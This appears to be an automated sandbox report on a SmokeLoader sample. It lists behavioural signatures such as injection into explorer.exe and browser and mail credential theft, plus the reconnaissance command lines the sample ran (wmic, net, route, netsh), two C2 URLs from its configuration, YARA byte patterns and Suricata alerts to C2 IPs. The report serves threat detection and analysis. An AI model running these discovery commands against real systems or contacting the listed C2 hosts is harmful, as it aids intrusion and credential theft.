Edit tour

Windows Analysis Report
ctMI3TYXpX.exe

Overview

General Information

Sample name:	ctMI3TYXpX.exe renamed because original name is a hash value
Original sample name:	a27775738faff754dcf5c3e8e42b9838.exe
Analysis ID:	1528581
MD5:	a27775738faff754dcf5c3e8e42b9838
SHA1:	ef3bcdfbc99ca65cf6ae2b550da3b9c4451db2a7
SHA256:	ba8fcbecaf19e5da453aafbcb716c6ba46980d64ad1c86ce17cee7426c042bcc
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the windows firewall

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses ipconfig to lookup or modify the Windows network settings

Uses netsh to modify the Windows network and firewall settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the current domain controller via net

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

ctMI3TYXpX.exe (PID: 7340 cmdline: "C:\Users\user\Desktop\ctMI3TYXpX.exe" MD5: A27775738FAFF754DCF5C3E8E42B9838)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

35DB.exe (PID: 7964 cmdline: C:\Users\user\AppData\Local\Temp\35DB.exe MD5: 366910063EF4A518B6ADF6D28C7B2C69)

B972.exe (PID: 2104 cmdline: C:\Users\user\AppData\Local\Temp\B972.exe MD5: 65AEAA0A0849CB3CE9BC15BCBF0B7B9F)

cmd.exe (PID: 396 cmdline: cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5752 cmdline: wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 3336 cmdline: wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5572 cmdline: wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 7620 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 3412 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 3060 cmdline: wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 2200 cmdline: wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 6252 cmdline: wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 6452 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 6804 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 7004 cmdline: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 1740 cmdline: wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 1712 cmdline: wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 7788 cmdline: wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

ipconfig.exe (PID: 1284 cmdline: ipconfig /displaydns MD5: 62F170FB07FDBB79CEB7147101406EB8)

ROUTE.EXE (PID: 3912 cmdline: route print MD5: 3C97E63423E527BA8381E81CBA00B8CD)

netsh.exe (PID: 1432 cmdline: netsh firewall show state MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

systeminfo.exe (PID: 2872 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

tasklist.exe (PID: 7792 cmdline: tasklist /v /fo csv MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

net.exe (PID: 5948 cmdline: net accounts /domain MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 928 cmdline: C:\Windows\system32\net1 accounts /domain MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 5104 cmdline: net share MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 5296 cmdline: C:\Windows\system32\net1 share MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 2908 cmdline: net user MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

explorer.exe (PID: 6796 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 7496 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 5804 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 7524 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 5088 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 4092 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

jghruer (PID: 7756 cmdline: C:\Users\user\AppData\Roaming\jghruer MD5: A27775738FAFF754DCF5C3E8E42B9838)

hdhruer (PID: 8148 cmdline: C:\Users\user\AppData\Roaming\hdhruer MD5: 366910063EF4A518B6ADF6D28C7B2C69)

msiexec.exe (PID: 5436 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["https://ninjahallnews.com/search.php", "https://fallhandbat.com/search.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.2574353685.00000000004A0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1236f:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000006.00000002.2327173692.00000000005B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.1726159167.00000000004B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000008.00000002.2576258561.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000008.00000002.2576258561.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000006.00000002.2327201404.00000000005C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000006.00000002.2327201404.00000000005C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.1977011876.0000000000581000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1250b:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.1977659662.00000000021D1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.1977659662.00000000021D1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000006.00000002.2327352814.0000000000731000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000006.00000002.2327352814.0000000000731000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1726254840.00000000004F1000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x128eb:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1726176567.00000000004C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1726176567.00000000004C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000008.00000002.2576079643.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000005.00000002.1976888383.0000000000530000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000000.00000002.1726400088.00000000021D1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1726400088.00000000021D1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000012.00000002.4123114957.0000000000771000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000008.00000002.2576150006.0000000001FB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000008.00000002.2576150006.0000000001FB0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.1976909715.0000000000540000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.1976909715.0000000000540000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000006.00000002.2327481392.0000000000771000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x12937:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Process Memory Space: explorer.exe PID: 5804	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Process Memory Space: explorer.exe PID: 7524	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Click to see the 23 entries

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\jghruer, CommandLine: C:\Users\user\AppData\Roaming\jghruer, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\jghruer, NewProcessName: C:\Users\user\AppData\Roaming\jghruer, OriginalFileName: C:\Users\user\AppData\Roaming\jghruer, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\user\AppData\Roaming\jghruer, ProcessId: 7756, ProcessName: jghruer

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems): Data: Command: net accounts /domain, CommandLine: net accounts /domain, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 396, ParentProcessName: cmd.exe, ProcessCommandLine: net accounts /domain, ProcessId: 5948, ProcessName: net.exe

Sigma detected: Local Accounts Discovery

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , CommandLine: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: cmd, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 396, ParentProcessName: cmd.exe, ProcessCommandLine: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , ProcessId: 7004, ProcessName: WMIC.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net accounts /domain, CommandLine: net accounts /domain, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 396, ParentProcessName: cmd.exe, ProcessCommandLine: net accounts /domain, ProcessId: 5948, ProcessName: net.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: route print, CommandLine: route print, CommandLine|base64offset|contains: , Image: C:\Windows\System32\ROUTE.EXE, NewProcessName: C:\Windows\System32\ROUTE.EXE, OriginalFileName: C:\Windows\System32\ROUTE.EXE, ParentCommandLine: cmd, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 396, ParentProcessName: cmd.exe, ProcessCommandLine: route print, ProcessId: 3912, ProcessName: ROUTE.EXE

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:14:22.194672+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49736	180.75.11.133	80	TCP
2024-10-08T03:14:23.607928+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49737	180.75.11.133	80	TCP
2024-10-08T03:14:24.986323+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49738	180.75.11.133	80	TCP
2024-10-08T03:14:26.372379+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49739	180.75.11.133	80	TCP
2024-10-08T03:14:27.804881+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49740	180.75.11.133	80	TCP
2024-10-08T03:14:29.188524+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49741	180.75.11.133	80	TCP
2024-10-08T03:14:30.567066+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49742	180.75.11.133	80	TCP
2024-10-08T03:14:31.967427+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49743	180.75.11.133	80	TCP
2024-10-08T03:14:33.349888+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49744	180.75.11.133	80	TCP
2024-10-08T03:14:34.724537+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49745	180.75.11.133	80	TCP
2024-10-08T03:14:36.129091+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49746	180.75.11.133	80	TCP
2024-10-08T03:14:37.511221+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49747	180.75.11.133	80	TCP
2024-10-08T03:14:38.888606+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49748	180.75.11.133	80	TCP
2024-10-08T03:14:40.294985+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49749	180.75.11.133	80	TCP
2024-10-08T03:14:41.687004+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49750	180.75.11.133	80	TCP
2024-10-08T03:14:43.070323+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49751	180.75.11.133	80	TCP
2024-10-08T03:14:44.453846+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49752	180.75.11.133	80	TCP
2024-10-08T03:14:46.078180+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49753	180.75.11.133	80	TCP
2024-10-08T03:14:47.954405+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49754	180.75.11.133	80	TCP
2024-10-08T03:14:49.384205+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49755	180.75.11.133	80	TCP
2024-10-08T03:14:50.822470+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49756	180.75.11.133	80	TCP
2024-10-08T03:14:52.232319+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49758	180.75.11.133	80	TCP
2024-10-08T03:14:53.619316+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49759	180.75.11.133	80	TCP
2024-10-08T03:14:55.012096+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49760	180.75.11.133	80	TCP
2024-10-08T03:14:57.758027+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49773	180.75.11.133	80	TCP
2024-10-08T03:14:59.141611+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49784	180.75.11.133	80	TCP
2024-10-08T03:15:00.543733+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49795	180.75.11.133	80	TCP
2024-10-08T03:15:01.943079+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49803	180.75.11.133	80	TCP
2024-10-08T03:15:03.347158+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49812	180.75.11.133	80	TCP
2024-10-08T03:15:04.734946+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49822	180.75.11.133	80	TCP
2024-10-08T03:15:06.122207+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49831	180.75.11.133	80	TCP
2024-10-08T03:15:07.506497+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49841	180.75.11.133	80	TCP
2024-10-08T03:15:19.207418+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49915	23.145.40.168	443	TCP
2024-10-08T03:15:20.940399+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49924	23.145.40.168	443	TCP
2024-10-08T03:15:21.924039+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49935	23.145.40.168	443	TCP
2024-10-08T03:15:23.127857+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49942	23.145.40.168	443	TCP
2024-10-08T03:15:24.007314+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49951	23.145.40.168	443	TCP
2024-10-08T03:15:24.904929+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49959	23.145.40.168	443	TCP
2024-10-08T03:15:25.814603+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49965	23.145.40.168	443	TCP
2024-10-08T03:15:26.719338+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49971	23.145.40.168	443	TCP
2024-10-08T03:15:27.642402+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49977	23.145.40.168	443	TCP
2024-10-08T03:15:28.579765+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49983	23.145.40.168	443	TCP
2024-10-08T03:15:29.478717+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49989	23.145.40.168	443	TCP
2024-10-08T03:15:30.411627+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49995	23.145.40.168	443	TCP
2024-10-08T03:15:31.283857+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50001	23.145.40.168	443	TCP
2024-10-08T03:15:32.191015+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50008	23.145.40.168	443	TCP
2024-10-08T03:15:33.069306+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50015	23.145.40.168	443	TCP
2024-10-08T03:15:33.957275+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50024	23.145.40.168	443	TCP
2024-10-08T03:15:34.867331+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50030	23.145.40.168	443	TCP
2024-10-08T03:15:36.316479+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50036	23.145.40.168	443	TCP
2024-10-08T03:15:37.218884+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50043	23.145.40.168	443	TCP
2024-10-08T03:15:43.167928+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50055	23.145.40.168	443	TCP
2024-10-08T03:16:17.332902+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50056	180.75.11.133	80	TCP
2024-10-08T03:16:25.215333+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50057	180.75.11.133	80	TCP
2024-10-08T03:16:35.175377+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50058	180.75.11.133	80	TCP
2024-10-08T03:16:47.543160+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50059	180.75.11.133	80	TCP
2024-10-08T03:16:57.444928+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50060	23.145.40.168	443	TCP
2024-10-08T03:16:58.438011+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50061	23.145.40.168	443	TCP
2024-10-08T03:17:02.272122+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50062	201.103.8.135	80	TCP
2024-10-08T03:17:16.307008+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50063	23.145.40.168	443	TCP
2024-10-08T03:17:20.704358+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50064	201.103.8.135	80	TCP
2024-10-08T03:17:34.328112+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50065	23.145.40.168	443	TCP
2024-10-08T03:17:38.839751+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50066	201.103.8.135	80	TCP
2024-10-08T03:17:51.835614+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50067	23.145.40.168	443	TCP
2024-10-08T03:17:56.257177+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50068	201.103.8.135	80	TCP

ET MALWARE Windows route Microsoft Windows DOS prompt command exit OUTBOUND

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:18:03.951900+0200	2019082	1	A Network Trojan was detected	192.168.2.4	50069	23.145.40.113	443	TCP
2024-10-08T03:18:03.968253+0200	2019082	1	A Network Trojan was detected	192.168.2.4	50069	23.145.40.113	443	TCP

ETPRO MALWARE Dridex Post Checkin Activity 3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T03:15:19.556728+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49915	23.145.40.168	443	TCP
2024-10-08T03:15:21.301374+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49924	23.145.40.168	443	TCP
2024-10-08T03:15:22.202449+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49935	23.145.40.168	443	TCP
2024-10-08T03:15:23.407326+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49942	23.145.40.168	443	TCP
2024-10-08T03:15:24.284045+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.4	49951	23.145.40.168	443	TCP
